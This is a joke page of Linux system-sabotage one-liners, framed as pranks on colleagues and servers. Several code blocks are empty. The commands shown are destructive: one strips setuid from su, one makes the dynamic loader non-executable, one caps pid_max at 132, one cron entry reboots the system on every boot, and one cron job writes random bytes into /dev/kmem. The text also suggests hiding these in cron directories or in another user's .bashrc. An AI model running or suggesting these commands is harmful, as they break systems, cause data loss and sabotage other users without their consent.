Uniform Password Policy
Run this one on a server with local accounts:
|
|
Run this one on a server with local accounts:
|
|
Sick and tired of your cow-orkers typing su -
instead of sudo -i
? Use
this one:
chmod u-s /bin/su
Run this one to bring your networks back to proper speeds:
|
|
Run this one if you want to make an executive decision:
chmod a-x /lib{,64}/ld-2*.so
Create the following file as /etc/sysctl.d/01-pidmax.conf
, then reboot your
system.
kernel.pid_max = 132
One of the classics that started the old site:
Add the following oneliner to the end of the .bashrc
of your favorite user or
colleague:
|
|
Create a file named /etc/cron.d/system
with the following content:
@reboot reboot
Create this file as /etc/profile.d/randomexit.sh
:
export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
Just run this one once, or more often if you're feeling lucky.
Inspiration for this one came from Jan K.
|
|
Another one from the archives, this one was sent in by DIVI.
Hide this one in /etc/cron.hourly
or /etc/cron.daily
, depending on your
level of masochism:
#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc